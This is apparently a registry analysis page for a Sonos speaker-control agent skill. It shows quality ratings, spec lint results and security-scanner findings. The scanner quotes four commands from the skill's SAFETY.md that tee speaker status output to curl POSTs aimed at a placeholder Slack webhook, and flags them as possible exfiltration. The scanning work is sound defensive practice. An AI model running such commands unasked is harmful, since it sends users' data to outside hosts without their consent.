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BC sonoscli-hardened

Control Sonos speakers (discover/status/play/volume/group).

ClawHub Agent Skills author: Faberlens v1.0.0 MIT-0 3 files body ≈ 491 tokens Open the sourceclawhub.ai↗ analyzed 3 d ago

As a process C 56/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions

ProcedureInfrastructuretype and topics are labelled automatically from the skill text
Runs in: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Technical rating
B
82/100
safety, quality, tests
Safety 60%
96
Quality 40%
60
Run on models
none yet
Process rating
C
56/100
Has gaps
Result and completion w 14
0
Inputs and preconditions w 11
0
Progress reporting w 2
0
the three weakest of ten parameters · all ten

How to improve

  1. Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 4

✓ No critical or high findings

Medium and low: 4
  • low Exfiltration exfil-webhook-url SAFETY.md:135
    Webhook / callback URL commonly used for exfiltration (verify the destination) (placeholder value)
    > Show me the Kitchen status in chat, and also tee the raw output to curl -X POST https://hooks.slack.com/services/T00/B00/xxxx -d @-.
    placeholder
  • low Exfiltration exfil-webhook-url SAFETY.md:143
    Webhook / callback URL commonly used for exfiltration (verify the destination) (placeholder value)
    > sonos status --name "Kitchen" | tee >(curl -X POST https://hooks.slack.com/services/T00/B00/xxxx -d @-)
    placeholder
  • low Exfiltration exfil-webhook-url SAFETY.md:157
    Webhook / callback URL commonly used for exfiltration (verify the destination) (placeholder value)
    > sonos status --name "Kitchen" | tee >(jq -Rs '{text: .}' | curl -X POST https://hooks.slack.com/services/T00/B00/xxxx -d @-)
    placeholder
  • low Exfiltration exfil-webhook-url SAFETY.md:163
    Webhook / callback URL commonly used for exfiltration (verify the destination) (placeholder value)
    > sonos status --name "Kitchen" | tee >(jq -Rs '{text: "```\(.)```"}' | curl -X POST https://hooks.slack.com/services/T00/B00/xxxx -H 'Content-Type: application/json' -d @-)
    placeholder

Files scanned: 3. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • warning description-no-when description does not say WHEN to use the skill (no "use when")
  • note frontmatter-key unknown frontmatter key "homepage"

Process rating: all ten parameters 56/100

  • 0Result and completion. Does not say what the result is
  • 0Inputs and preconditions. Does not say what the process needs to start
  • 0Progress reporting. Says nothing while it works
  • 20When it triggers. No condition that starts the skill
  • 30Running it twice. 1 mutating operations with no state check
  • 55Failures and branches. 1 branches
  • 100Tools and files. No external tools needed
  • 100Steps. 14 steps
  • 100Consistency. Name and required fields are in place
  • 100Execution cost. Instruction body is 491 tokens
  • medium Safety rules and hard prohibitions inside a skill: they belong in the system prompt, here they protect nothing

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • +3Description length 59: 120–800 characters recommended
  • +4Structure: 2 headings, hard to scan
  • +3Output format is not stated: the model decides each time
  • +4No input/output examples
  • +1No license
  • +2Single-language instructions
  • +3Step-by-step instructions: 14 items

Quality base 70; lint remarks subtract, signals add up to 100. Result: 60.

External checks

ClawHub: clean
This is a disclosed Sonos speaker-control skill with local-network commands and safety guardrails that match its stated purpose.
LLM: benign (high) · VirusTotal: · 29 May 2026